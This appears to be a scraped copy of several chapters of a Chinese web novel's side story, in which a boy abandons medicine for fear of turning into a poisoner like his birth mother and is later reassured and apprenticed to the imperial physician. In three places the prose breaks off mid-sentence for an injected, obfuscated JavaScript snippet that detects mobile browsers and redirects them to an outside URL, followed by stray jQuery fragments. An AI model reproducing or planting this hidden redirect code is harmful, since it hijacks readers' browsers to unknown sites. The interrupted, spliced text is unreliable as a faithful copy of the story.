却因为跑得太过匆忙,被门槛给绊倒了,摔了一个狗吃屎。 随着“咚”的一声闷响,杨纨绫的前身和下巴都磕到了地上,疼痛无比。 而这一磕,似乎是终于把他这些时日里所有的恐慌都磕了出来,他再也忍不住,放声大哭了起来。 原来他的生母真的是个坏女人,不仅下毒害死了父亲,还给兄长们下也过毒,想要害死他的兄长们。 如果他继续学医,就会变成和生母一样的坏人,最后也会给兄长们下毒,也害死兄长们。 他不要变成坏人啊! 丫鬟们都被四少爷的哭声给吓坏了,连忙把他从地上扶起来,好言好语地安慰着,又拿来药给他擦磕破的地方。 他见到丫鬟手里拿着的药膏,顿时害怕地瞪大眼睛,边哭边挣扎。 “你走开!把药扔掉!我不要抹药!” 杨纨绫死活不配合抹药,丫鬟们别无他法,最后还是把秋姨娘请了过来,才勉强给他上好的药。 看着这孩子抽抽噎噎的模样,秋姨娘在心疼之余不禁有些疑惑。 这孩子是她一手看到大的,她对这孩子再清楚不过了,虽然性子有些娇气,可这孩子早在七八岁的时候,就不会因为摔倒而哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174581|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 秋姨娘把杨纨绫小小的身躯搂进怀里,轻轻地拍着他的背,温声问道:“纨绫不哭不哭,告诉姨娘,你受了什么委屈了?” 杨纨绫缩在姨娘的怀里小声抽泣着,闻言不由得想到了这些时日以来,下人们口中的那些流言—— “四少爷果真是像他的生母啊,简直一脉相承!” “放任他继续学那些东西,当心哪天就学会了怎么下毒,和当初那个贱人一样,把其他少爷都给害死!” 不,不…… 杨纨绫那双清澈的眼眸因为惊恐而瞪大,他使劲地摇头。 不......他不能告诉姨娘。 他的生母已经差点把大哥给害死了,要是姨娘知道自己以后也会变得和生母一样,给大哥下毒,害死大哥,一定会恨他的。 他不能说,不能说的! “我,我没事……”杨纨绫将脸埋进自己的胳膊里,小声地抽噎着。 尚且稚嫩的声音中还带着浓重的鼻音,抱着手臂蜷缩成了小小的一团,一张小脸哭得鼻子眼睛通红,看起来又委屈又可怜。 秋姨娘越看越心疼,这怎么可能没事呢? “到底怎么了呀我的宝?”看着这孩子哭红的双眼,她不禁掏出手帕,擦掉那张俊秀小脸上的泪珠,“你说呀,受了什么委屈姨娘给你做主,就算犯了错姨娘也不怪你。” 杨纨绫小小的嘴巴紧闭着,什么都不肯说,只是一个劲摇头。 可他越是这样,越是什么都不说,秋姨娘就越担心。 只是秋姨娘无论再怎么问,杨纨绫要么就使劲摇头,要么就抽噎地一口咬定就是没事。 最后问得多了,这孩子小小的身子不停地颤抖着,一双水汪汪的大眼睛里再次浮现出泪意。 秋姨娘见状只好不再追问,温声细语地安慰着这孩子,最后把孩子哄睡着了,又仔细地给他盖好被子,最后微微叹了口气,这才转身轻声离去。 等到了傍晚,杨纨玦他们下值回府以后,一听说了这事,立马朝着自家弟弟的院子去了。 他们刚踏进院子,就看到院子的正中放着一个火盆,里面火焰正盛。 而他们的弟弟正站在火盆前,手里拿着那本自己平日里最宝贝的医书。 随后,杨纨绫轻轻一抬手,那本书便被丢入到了火盆里。 纸张落入火盆的那一刻,盆中的火焰宛若一头饥饿的猛兽,迅速咬住投入到嘴边的食物,将它彻底吞噬。 三个兄长都惊呆了。 这小子平日里把那本书看得那么重要,如今这怎么说烧就烧了?! 他们连忙来到自家弟弟的身边,关切地问道:“怎么了,为什么把你最喜欢的医书给烧了?” 彼时,杨纨绫正盯着面前熊熊燃起的火焰发愣。 他已经想好了,他不学医了。 只要他不学医,他就不会变得像自己的生母,就不会给兄长们下毒。 那样的话,兄长们就一定不会有事的! 这般想着,杨纨绫深吸了一口气,终于艰难地抬起头,结果就看到了兄长们向他快步走来。 他眼看着兄长们围在他的四周,那三张熟悉的俊脸上无一不显露着关切和担忧。 望着兄长们担忧的目光,杨纨绫那双灵动的大眼睛里却闪过了转瞬即逝的恐惧。 兄长们越是关心他,越是爱护他,他就越害怕。 他无比害怕兄长们会死去,更害怕极了害死兄长们的罪魁祸首居然会是他。 杨纨绫全身微微颤抖着,使劲地摇头:“我没……我没事。” 他不可以让兄长们知道的,反正他也不打算学医了,不会变得和生母一样,只要继续瞒着兄长们,下人们说的那件事就一定不会实现。 对,只要向兄长们瞒住了...... 杨纨绫在心里不断地安慰自己。 可他越是安慰,那张小脸上就涌现出越来越多的不安。 “你这能叫没事吗?”杨纨岚不由得伸出手,轻抚过自家弟弟白皙的小脸,擦掉了后者脸上的两道泪痕,“你别怕,哥哥们都在这呢,有谁欺负你了,哥哥们帮你打回去!” 他就不信了,就他们哥仨在朝中这地位,谁敢欺负他们弟弟? 杨纨岚话音未落,身侧的杨纨枫举起拳头,直接就照着他的脑袋来了一下。 杨纨玦伸出手,轻轻地揉了揉幼弟的头,温声问道:“是出了什么事吗,告诉哥哥们,哥哥们帮你解决。” 宽大而又温暖的手掌落在了杨纨绫的发顶,兄长们温柔的话语就像是一阵温暖的微风一般,吹拂过他幼小的心灵。 可是,如今他的心就像是一颗久经风化的珍珠,表面看着还算完整,其实内里早已布满了裂痕。 而后温暖的微风吹过,这颗珍珠一般纯洁无瑕的心再也经受不住,如同他那本沉入火海的书一般,彻底化作了齑粉。 杨纨绫崩溃地嚎啕大哭了起来。 157. 番外七:杨纨绫(中) 这一哭直接给兄长们吓到了。 他们这个弟弟从小就爱撒娇卖萌,有时候会故意装作一副可怜的模样。 那么小的一个奶团子,水汪汪的大眼睛里含着泪珠,做兄长的总会心软。 可是谁也没见过这孩子哭成这个样子,哭得这么悲惨,这么......绝望。 “这这这......别哭啊!”杨纨岚连忙把自家弟弟按进自己怀里,慌张道,“这到底是怎么了啊,怎么就哭成这个模样了啊?” 他们这也啥都没干啊,这孩子怎么就突然哭起来了? 杨纨绫很快就哭得上气不接下气,把头埋进兄长的怀里,泪水打湿了杨纨岚胸前的整片衣襟。 兄长身上的气息令他眷恋,可也令他更加害怕。 他从前有多么依赖兄长们,此时此刻,他的心里就有多么恐惧。 哭到最后,杨纨绫小小的身躯在兄长怀里不住地颤抖,委屈而又可怜。 就连一向淡漠的杨纨枫也不由得伸出手,轻抚着幼弟颤抖的后背,柔声问道:“是有什么不能跟我们说的吗?” 杨纨绫在兄长的怀里肆意地流着眼泪,一边哭,一边小声地抽泣着:“别,别问了……求求,你们……别,问了……” 看着自家从小就被宠大的弟弟哭成这副模样,杨纨岚心疼得要命,闻言连忙道:“好好好,我们不问了。” 他蹲下身把自家弟弟轻轻抱住,温声细语地安抚道:“我们不问了,等你什么时候想说了再跟我们说,一直不想说也没关系,好不好?” 杨纨绫这才渐渐停止了哭泣。 他将头埋进兄长的脖颈间,抽噎着点头。 “好。”杨纨绫当即把弟弟抱起来,轻轻地拍着他的背,就仿佛他还是从前那个小小的奶团子一般,“纨绫吃饭了没有,哥哥们和你一起用晚膳好不好?” 闻言,杨纨绫那颗才被抚平的心却再次被狠狠地揪紧。 他那双蓄满泪水的眼眸猛地瞪大,使劲地摇头。 不可以,他不可以和兄长们一起用膳! 用膳的时候最容易下毒,他不可以的,不可以...... 感受到弟弟那小小的身躯在自己怀里颤抖得越来越剧烈,杨纨岚连忙道:“不吃就不吃,没事没事啊,纨绫不哭不哭,那你自己好好吃饭,不要饿着了。” 三个兄长实在是问不出什么来,只好把自家弟弟抱回屋里,嘱咐他好好吃饭,千万别害怕,兄长们都会保护他的。 兄弟三个离开了弟弟的院子,一同走在半路上,杨纨岚双手环胸,无奈地叹了口气:“这小子大了,也有自己的心事咯。” “是不是有人和他说了些什么?”杨纨玦的脸上多了几分忧虑,“不然怎么会平白无故哭成这样?” “......还是先别轻举妄动了。”杨纨枫低着头沉吟道,“让下人盯紧着点,看看是不是有什么居心不良的人在背后挑唆。” “那要是盯不出来怎么办?”杨纨岚不禁担忧道。 “若是没能盯出什么来,他又一直这样的话。”杨纨枫深吸了一口气,有些头疼地捏了捏自己的眉心,“那就只好去找母亲,让母亲出面了。” 那孩子和母亲最是亲近,有些和他们说不出口的事,也许在母亲面前就愿意说了吧。 三兄弟望着天上皎洁的月亮,不约而同地叹了口气。 等到了晚上,杨纨绫做了个梦。 他梦到他的三个兄长都被他害死了,秋姨娘跪在二哥的尸体前,哭得肝肠寸断。 地上全都是血,不知道是哪个兄长的,亦或是三人的都有。 他惊恐地看着兄长的血蔓延到了自己的脚下,秋姨娘站起身,冲过来死死地掐住他的脖子,骂他是贱人的种,骂他恩将仇报,要他血债血偿。 “不......不要!”杨纨绫从睡梦中哭着醒来。 他大口地呼吸着,惊恐地环顾四周。 周围都是熟悉的陈设,地上没有血,也没有他的兄长们,他正躺在自己的榻上,柔和的月光从窗外洒进来,周围一片静谧。 刚才发生的一切,都只是一场梦。 随后,内室的门被轻轻地推开了,贴身伺候他的丫鬟见他醒了,便知方才少爷的呼喊是真的。 她缓缓来到杨纨绫的榻前,掏出手帕擦掉那张小脸上流下的泪水,关切道:“少爷可是魇着了?” 杨纨绫低着眉点了点头,末了又抬起那双哭红的眼眸,声音有些哽咽:“哥哥们都在哪?” “这个时辰,少爷们自然是都在自己院里睡着呢。”丫鬟说着伸出手,轻轻地覆上杨纨绫的发顶,“少爷还睡吗,若是不睡,奴婢就陪您说会话。” 杨纨绫却摇了摇头。 他得继续睡,明早还要上课的。 见少爷摇头,丫鬟含笑着揉了揉杨纨绫的头:“那少爷继续睡吧,奴婢就守在外边。” 末了,杨纨绫又重新躺下,看着丫鬟给他仔细地掖好被子,而后转身离去。 最后丫鬟轻轻地关上了内间的门,屋内再度陷入静谧。 而杨纨绫从噩梦的惊吓中缓过来后,困意也很快再度袭来。 他缓缓闭上了双眼,再次陷入了沉睡。 他以为自己只是白天被吓到了,晚上才会做噩梦的。 反正他也不学医了,只要不再接触那些东西,无论是那些下人们的话,还是那场噩梦,都一定不会实现的。 杨纨岚这般庆幸地想着。 可是他没想到的是,此后一连几日,他每晚都会做着同样的噩梦。 梦见兄长们被他下毒害死,鲜血流淌到他的脚下,而他哭着醒来。 这些时日以来,他每日半夜都会被噩梦吓醒,没有睡过一日好觉。 眼见着杨纨绫的精神越来越萎靡,就连白日里给他上课的祝贤盛都不由得担忧起来。 而守在他身边的下人们也并未发现任何可疑的人,没有人来到少爷身边蓄意挑唆,无论是来路不明的陌生人,还是伺候在他身边的熟人,都没有。 反倒是少爷自己的状况越来越差。 最后,他的三个兄长们只好将此事告知给了苏若琳。 这日下午,杨纨绫原本是在祝贤盛这里念书的。 只是看书看着看着,他便不由自主地趴在桌上睡着了。 祝贤盛看着这孩子那双大眼睛周围浓重的乌青,以及这几日越来越差的脸色,到底是没有喊醒他。 然后无声地吩咐小太监拿来件外袍,盖到这孩子的身上。 这孩子身上到底发生了什么? 没有人知道。 这孩子嘴巴严实得紧,他问了许久都没能从这孩子嘴里套出一句消息。 杨纨玦他们三个后来也都分别问过,但是这孩子就是什么都不说,他们别无他法。 如今看见这孩子睡着,祝贤盛批阅公文的动作都放轻了,小太监们更是连大气都不敢出。 不知过了多久,当杨纨绫缓缓睁开眼睛时,才知晓自己看着书睡着了。 他迷迷糊糊地抬起头,却看到他的二哥就坐在面前的不远处,同曾祖说着话。 见到他抬起头,杨纨玦走过来揉了揉他的发顶:“醒了?” 温暖的大手盖住了他的头顶,杨纨绫下意识点了点头。 随后,便听得他的二哥含笑道:“母亲要见你。” 其实本来苏若琳从杨纨玦口中听说了这孩子不对劲时,是想着亲自来嘉德殿看看的。 可是她后来又听说秋姨娘和杨纨玦他们都问了这孩子许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174582|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久,结果非但没问出了什么来,还把这孩子给吓到了。 那还是让孩子自己来一趟吧,也让他路上做个准备。 免得自己突然去见那孩子,也给孩子吓着,那实在是得不偿失了。 杨纨绫跟着兄长一路来到了太极殿。 据说母亲最初进宫的时候是住在自己的椒房殿里的,只是后来因为大哥觉得从太极殿到椒房殿距离太远,来回不方便,于是便让母亲搬到太极殿里来了。 大哥和母亲真的感情很好呢。 旁人都道长兄如父,可是对于他而言,他的四个兄长都很关爱他,一起担任着父亲的职责。 杨纨绫年纪虽小,但是也清楚地知道,大哥虽然和他相处得比其他三个哥哥少,但也是很疼他的。 不然他才没办法在皇宫里四处乱窜呢。 想到此,杨纨绫那根紧绷的心弦终于有了些许的放松。 兄弟两人途径正殿,杨纨绫见屋里没有任何声响,习惯性地想要推开屋门往里边偷看一眼。 侍卫见状连忙拦住他,赔笑道:“小杨少爷,里面没有人,陛下和娘娘都没在里面。” 杨纨绫的三位兄长皆在朝中身居高位,而他本人甚至在小太子出生前,便常在皇宫四处跑动。 陛下和娘娘也都惯着他,纵容着他到处闹腾,皇宫于他而言就像是第二个家一般,因此众人都笑着喊他一声“小杨少爷。” 而此时,杨纨绫被侍卫拦了下来,也不恼,迈起小长腿跑到了兄长们身边,又跟着兄长往内殿的方向去了。 等他们快到内殿时,忽地听到一阵悦耳的琴声自内殿悠扬开来,令人心旷神怡。 母亲琴棋书画样样精通,尤擅长琴艺,这一曲琴声,听得他们都微微失了神。 不知过了多久,还是绿俏的声音唤回了他们的神智。 “两位少爷,娘娘在内殿等二位呢。” 两兄弟快步走进内殿,彼时苏若琳这一曲刚结束,见到两个儿子来,含笑问道:“这么晚才来啊?” 杨纨玦轻轻揉了揉弟弟的头:“这小子在曾祖那里睡着了,等他睡醒了我才带他来的,所以来迟了些。” 杨纨绫也挠了挠自己的后脑勺,羞涩地笑了。 “纨绫正在长身体,多睡会是好事。”苏若琳让小太监把玉琴搬下去,然后朝杨纨绫招了招手,“纨绫过来,好些日子不见了,让母亲好好看看。” 杨纨绫乖巧地凑到母亲身边,下意识想钻进母亲怀里,却忽地意识到自己已经十岁了,已经是个大孩子了,不可以再像从前那样了。 不过没关系,虽然不能钻进母亲怀里,不过他可以跪坐在母亲身边,把头枕在母亲的腿上——三哥和四哥都是这么做的。 苏若琳笑着捏了捏他的脸:“也不怕地上凉。” 她话音刚落,杨纨玦便从椅子上站了起来:“既然纨绫已经带到了,大哥那边还有事情需要我去复命,母亲,儿子先告退。” “好。”苏若琳点了点头,末了又嘱咐道,“今日风大,天气有些冷,我看你穿的也不多,今日尽量少些奔走,别着了凉。” 杨纨玦含笑着应了。 待到大的儿子退下后,苏若琳又挥手让宫人们都退下,独独留下了小的儿子。 见此,杨纨绫的心里顿时有了不好的预感。 母亲……不会也想要问他那件事吧? 他不安地抬起头看着母亲那张妍丽的面容,却见母亲伸出手轻抚过他的发顶,柔声道:“今日喊你来,咱们母子说些体己话。” 苏若琳说着从身旁的桌上拿起了几本书,放到自己的腿上。 “先前就听说你这孩子对学医有兴趣,整日在家里钻研些药材,母亲就从藏书阁里找来了几本,你看看喜欢吗?” 158. 番外七:杨纨绫(下) 杨纨绫趴在母亲的腿上,眼看着那几本书被摆在了他的面前。 这些书与他在家中找到的那本不同,全都是用精致的封皮包好的,八角俱全,显然一直都被精心爱护着。 若是从前,他定然如获至宝地接过这些书,欣喜地捧进怀里。 可是…… 杨纨绫看着这些书,如同看见了他这些时日以来经历的那些噩梦。 “不……”他惊恐地摇头,“我不学了。” 他不学了,不学了,他再也不学了。 听此,苏若琳不禁疑惑地看着他:“为什么?” “是不喜欢了吗?” 怎么可能不喜欢啊…… 杨纨绫死死地咬着下唇,那双明亮的大眼睛很快蓄满了泪水。 “我不学了……” 我不学了,再也不学了,什么都不学了…… 学医会害死哥哥们的,他再也不要学了…… 这些时日以来做过的那些噩梦,仿佛都随着母亲的疑问被重新唤醒,撕扯着他的内心。 母亲的身上散发着令他眷恋的香味,这熟悉的香味自他记事起便长留在他身侧,伴随着他从小到大的整个人生,是他这辈子最大的依赖。 如今再闻到母亲身上的芳香,他的心里却没有半分心安。 相反的,这香味就像是压垮骆驼的最后一根稻草,连同那些下人的话语、连同着这些时日以来的噩梦,一同压在了他的心上。 此时此刻,年仅十岁的杨纨绫再也支撑不住,崩溃地大哭了起来:“我不学了!” 他这些日子真的太难受了,日日夜夜,恐惧一直萦绕在他的心里,侵蚀着他幼小的心灵。 “我再也不学了……学医会害死哥哥们的!” 杨纨绫小小的身躯不停地颤抖,他紧紧地抱住母亲,将头埋进母亲的怀里,边哭着边摇头: “我不要学医,我不想害死哥哥们啊!” 闻言,苏若琳不由得瞪大双眼:“学医怎么会害死你的哥哥们?你为什么会这么想?” 许是因着母亲是他如今唯一可以依靠的人了,又或许是因为他已经开了事情的口子,总而言之,杨纨绫终于哭着把事情的原委托盘而出。 苏若琳听完了他的话,心疼地抱紧儿子:“傻小子,那些下人都是胡言乱语,你怎么可能害死你的哥哥们呢?” “可是......”杨纨绫在母亲的怀里不断地抽噎着,“我的生母难道,没有害死父亲,没有,没有想要害死兄长们吗?” 苏若琳一怔,这倒是真的都做过。 “小傻瓜。”苏若琳伸出手,轻轻地拍着儿子颤抖的后背,柔声安抚道,“那只是你的生母做过的事,她是她,你是你,你是不会变成她的。” “可是,可是......”杨纨绫的眼中闪过一丝无措,“可是我的生母会医术,我也有学医的天赋,他们都说我像她......” 苏若琳伸出手,托起儿子的下巴,让他仰起头直视自己的眼睛:“纨绫,你看着我。” “你的生母做出那些坏事,是因为她想做,所以她才做了。”苏若琳温柔的目光映入了杨纨绫那双蓄满泪水的眼中,却如同甘露浇灌在濒临渴死的幼苗,“你难道也想害死哥哥们吗?” 杨纨绫那双水汪汪的大眼睛里布满了恐惧,他使劲摇头。 他怎么会想要害死哥哥们呢? 哥哥们对他最好了,他想要哥哥们都健健康康,长命百岁! 杨纨绫这般想着,便见到母亲那张秀丽的脸上逐渐浮现出了温暖的笑意:“那么,你就不会害死他们的。” “你既然都不想,又如何会做的出来呢?” 闻言,杨纨绫那双蓄着泪水的眼眸中,这才浮现出一丝希望的曙光。 他紧紧地抓着母亲的衣袖,像是即将跌落悬崖的人,抓住了唯一一条可以救命的绳索:“可是,我和她一样,都有学医的天赋......” “学医又不是用来害人的。”苏若琳笑着揉了揉儿子的头,“学医是为了救人啊,只是因为有些人有了邪念,才会用医术害人,但是我们的纨绫那么善良,肯定不会想要害人呀。” “你知道纨枫和纨岚院里的大丫鬟芷若吧?”杨纨绫听见母亲含笑问道,“你觉得芷若怎么样?” 他眨了眨眼睛,思索道:“......芷若姐姐是个很好的人。” 经常给他做好吃的点心。 “那你知道芷若也是医女吗?”苏若琳笑着捏了捏他那哭红的小鼻子。 杨纨绫微微瞪大双眼,摇了摇头。 芷,芷若居然也是医女吗? 和他生母一样的医女? 果不其然,随后母亲便将他揽进怀里,掏出手帕替他抹去脸上的泪珠。 “你看,芷若也是医女,可是她并没有害人呀。” “而且也是因为她,才能及时发现你的兄长们被下了毒呢。”母亲声音轻柔,像是抚过小树枝干的微风,挠得小树痒痒的,“你从小到大的这些年里,染了风寒了,身体发热了,都是芷若治好的。” “她用医术救治了这么多人,你还觉得学医会害人吗?” 闻言,杨纨绫的眼中终于浮现出了一丝希冀:“那,那我......” “纨绫喜欢学医吗?”苏若琳温柔地看着儿子。 杨纨绫在母亲的怀里用力点头:“想!” 他想要治病救人,成为像兄长们一样厉害的人,造福百姓,被人们尊敬! “那咱们就学。”苏若琳说着用手指敲了敲腿上的医书,“无论纨绫喜欢什么,都可以去学,不要怕。” “你不会伤害任何人的。” 苏若琳温声细语地安慰着怀里的儿子,杨纨绫那颗幼小易碎的心灵终于被一点点拼凑好,重新回归它原本玲珑剔透的模样。 这时,萧怀琳抱着儿子走了进来。 今年已经四岁的小家伙被父亲抱在怀里,一双明亮的眼睛惊讶地瞪大,伸出小肉手指着杨纨绫:“爹爹,哥哥哭了!” “嗯。”萧怀琳揉了揉儿子的头,抱着他来到一旁坐下,“哥哥遇到伤心的事了,娘亲在安慰他,我们坐在边上等一会,不打扰他们,好不好?” 小家伙抱住父亲的脖子,用力点头:“嗯!” 一大一小在椅子上安静地坐着,萧怀琳在边上听了许久,终于也听明白了事情的原委。 他的目光落在了爱人腿上的那几本医书上,柔和的目光在封皮上缓缓停留了片刻,随后扭过头,朝身旁的李公公低声吩咐了几句。 李公公低下头应了声,很快退了出去。 又过了一会儿,苏若琳终于把怀里的杨纨绫给哄好了。 她轻轻地笑着,伸出手捏了捏儿子的小鼻子:“那等到将来母亲和兄长们生病了,不用去找大夫,让纨绫来给我们治病好不好?” 杨纨绫抬起头看着母亲,那一双尚且泛红的眼眸中闪烁着希冀的光。 他重重地点头:“好!” “我一定会努力学医,成为一个特别厉害的大夫,不管母亲和兄长们生了什么病我都可以医治!” “好呀。”苏若琳说着伸出勾起小拇指,“那咱们拉钩,以后纨绫不会再害怕学医了,好不好?” 杨纨绫伸出自己的小手,和母亲开心地拉钩。 这时,一道稚嫩的声音自不远处传来:“娘亲和哥哥在做什么呀!” 母亲俩闻言扭过头,便见到一个幼小的身影迅速地跑了过来。 已经四岁的小家伙来到母亲和兄长的身边,抱住了跪坐在地上的杨纨绫,亲昵地蹭了蹭后者还沾着泪的脸颊:“阿娘和哥哥在拉勾勾,我也要!” “......啊!”陡然被弟弟抱住,杨纨绫吓了一跳,连忙擦掉脸上的泪水。 呜,这副狼狈的模样居然被弟弟看见了...... 苏若琳笑着揉了揉小儿子的发顶:“哥哥刚才有点伤心,你带哥哥去自己的屋子里玩,让哥哥开心一点好不好?” “好!”小家伙笑着点头,而后朝兄长伸出手,“哥哥,我们去偏殿玩!” 等到大的被小的拉走,萧怀琳也终于从椅子上站起身,来到爱人身边坐下:“有人说纨绫学医会害死人?” 苏若琳无奈地点了点头,将事情的原委讲了一遍。 听完,萧怀琳不由得冷笑了一声:“那些下人真是好大的胆子。” 竟敢在背后非议主子。 苏若琳微微叹了口气:“这件事我回头会告诉秋姨娘,让她好好正一□□里的风气才行。” 秋姨娘到底是出身有些低、见识有点浅了,乍一坐上主母的位子,也不懂得如何管理府上,府里有了传言也不知道打压,这才让那些闲言碎语越传越烈。 “好。”萧怀琳笑着将爱人揽入怀里,“现在那孩子被哄好了,应当是没什么事了吧?” “算是没什么事了。”苏若琳无奈道,“等傍晚纨玦他们来接纨绫,我还得再嘱咐嘱咐。” 她话音未落,李公公便从外边走了进来:“回禀陛下、娘娘,太医院提点来了。” “嗯。”萧怀琳略微颔首,“让他进来吧。” “啊?”苏若琳疑惑地看向心上人:“你喊来的?” 萧怀琳笑着点头:“让纨绫那孩子出来吧。” 闻言,苏若琳张了张嘴,那张秀丽的脸上逐渐浮现出一丝惊讶:“你该不会是想......” 萧怀琳笑而不语。 “好。”望着心上人温柔的目光,苏若琳心有灵犀地笑了,“绿俏,把他们两个喊出来吧。” 绿俏应声去了偏殿,等她带着杨纨绫和小家伙过来时,太医院提点也自正殿走了进来。 苏若琳含笑着朝两个儿子招了招手,一大一小两个孩子纷纷跑到母亲身边。 而提点见到了萧怀琳和苏若琳,当即撩开衣摆,跪下行了大礼。 “微臣叩见陛下,叩见娘娘。” 萧怀琳微微点头:“让你带的药材都带来了?” “回陛下,都带来了。” 提点忙打开药箱,里面放着各式各样的药材,皆是百病之中最常用到的。 陛下方才派李公公来召他入宫,还点名要他带上几种《百病杂草》里的药材,不知所为何事。 彼时苏若琳身侧的杨纨绫见到那几种草药,一双灵动的眼眸微微发亮。 苏若琳宠溺地看着他,轻声问道:“这几种药材你都认识吗?” 杨纨绫兴奋地看着母亲,用力点头:“嗯!” 萧怀琳示意李公公将那些药材呈上来,随便拿起一个,递给杨纨绫:“这是什么?” 杨纨绫小心翼翼地接过大哥递过来的药材,左看右看,然后放到鼻尖闻了闻:“是杞黄!” 闻言,萧怀琳含笑看着他:“你是怎么认出来的啊?” 杨纨绫眉眼轻弯,将杞黄举到母亲和兄长眼前:“杞黄尖红扁身黄圆,气味略辛。” 末了,他又把杞黄的皮略微撕下来一点,兴奋道:“内里呈绿色,多汁,就是杞黄!” “这样啊。”苏若琳宠溺地揉了揉儿子的头,“那它有什么用处呀?” 杨纨绫略微思考了一下,随后道:“杞黄可止咳化痰,专治风寒之症,痨咳初期,亦可食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174583|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用。” “哇!”小家伙的一双眼睛瞪得圆圆的,“哥哥好厉害!” 提点同样惊讶地看着眼前这个不过十岁的孩子。 这个孩子方才所言,同《百病杂草》上所记载的竟一字不差。 若只是把书上的内容背出来,自然不算难,难的是,他竟然能够照着真正的草药辨认出来。 这个孩子…… 提点有些印象了,这位便是杨国公府的四公子吧? 三位兄长皆千载难逢的天之骄子,如此想来,这位小公子能有如此天赋,倒也正常了。 提点这般想着,便见到萧怀琳又递给了杨纨绫几颗种子:“那这个呢?” “这个是车前子!”杨纨绫将那几颗种子捧在手心里,细细观察着,“形状椭圆,均匀饱满,表面淡棕至红棕不一,粗糙不平,中部有黄色斑点!” 随后萧怀琳又递给了他数样药材,从形状、味道至用途,他无不倒背如流。 最后,萧怀琳看向站在一旁的提点:“如何?” 提点连忙朝着萧怀琳拱手作揖,由衷地赞叹道:“回陛下,小公子天赋异禀,若肯认真学医,假以时日,必成大器。” 苏若琳含笑问向杨纨绫:“那你想认真学医吗?” “不是每天照着那些书本自己琢磨着玩,而是真的跟在大夫身边学。” 闻言,杨纨绫那一双灵动的眼眸微微瞪大,看向母亲的目光更加兴奋了。 他用力点头:“我想!” 如果他能跟在大夫身边学,那他一定也能成为很厉害的大夫! 见状,萧怀琳也看向提点:“既然你觉得他可以,那就让他跟在你身边学医,如何?” 闻言,提点不可思议地抬起头看向萧怀琳,又不由得看了看他身侧的苏若琳,最后将目光落在了杨纨绫的身上。 陛下和娘娘这是什么意思? 白送给他一个天才徒弟,还是家世这般显赫的徒弟? 提点连忙道:“臣遵旨!” 虽说医术向来是医家绝学不可外传,可眼前这位小公子是什么人啊! 杨国公府如今权势正盛,三位少爷皆在朝中身居高官,而且照三位少爷的年纪来看,杨国公府至少还能继续昌盛几十年。 尽管陛下的意思只是让小公子跟在他身边学习,并无师徒之名,可他既已和小公子有了师徒之实,往外边一说,谁还不知道是怎么回事? 那他和他的家族这不就是白捡的一个靠山吗! 提点这般想着,连忙激动道:“臣必定倾囊相授,祝小公子成回春之术!” 见状,杨纨绫连忙激动地看着母亲:“母亲,那,那我是真的可以学医了吗!” 苏若琳含笑着揉了揉杨纨绫的头:“虽说你要开始学医了,可念书一事也不能荒废。” “等回头我和老爷子商量一下,看看给你怎么安排好时间,医书和念书一起学。” 杨纨绫高兴地点头:“好!” 萧怀琳看着满脸兴奋的弟弟,温声道:“若是这样,你可就得嘉德殿和太医院两边跑了,很累的。” 杨纨绫连忙摇头:“不会,我不怕累!” 见状,小家伙伸出自己的小肉手,抱住了母亲的腿,撒娇道:“娘亲娘亲,我也想和哥哥一起学医!” “你学什么医?”萧怀琳笑着把儿子拽过来,揽进自己的怀里。 这小子要是去了太医院,那帮太医不得被活活吓死。 “我就要学嘛!”小家伙说着撅起小嘴,在父亲的怀里不开心地扭来扭去,“哥哥就能学医,为什么我不行?” 萧怀琳拍了一把儿子左扭右扭的小屁股,含笑问他:“看医术都是要识字的,你认识字吗?” “我认识啊!”小家伙两手叉腰,牛气冲天地瞪着父亲,“爹爹前段时间交给我的字,我都记得呢,一个字都没有忘!” “哦?”萧怀琳略微挑眉,有些诧异地看着自家儿子,“都记得?” 他前段时间批公文的时候顺手教了小家伙几个字,本来只是教着玩玩的,没想到这小子还真学进去了。 而苏若琳看着小儿子坐在他爹的怀里,两人大眼瞪小眼的模样,忽然就想到了杨纨绫的小时候。 她笑着看向身侧的杨纨绫:“你弟弟真是和你小时候一模一样。” “啊?”杨纨绫登时就羞红了脸,“我,我哪有!” 他哪有这么不乖! “确实有。”萧怀琳附和地点头,说着拍了拍怀里小家伙的头,“你像你弟弟这么大的时候,比他还能折腾。” 杨纨绫:?! 他还未反应过来,便听得大哥继续添油加醋道:“还会往大人的怀里钻,呜咽着装可怜,跟大人撒娇。” 我真的没有!!! 杨纨绫瞬间炸毛,委屈地往母亲怀里钻,一双水汪汪的大眼睛里含着两滴晶莹的泪珠:“母亲,我没有!” 他明明最乖了! 小家伙好奇地看着哥哥:“哇,哥哥往娘亲怀里钻了!” 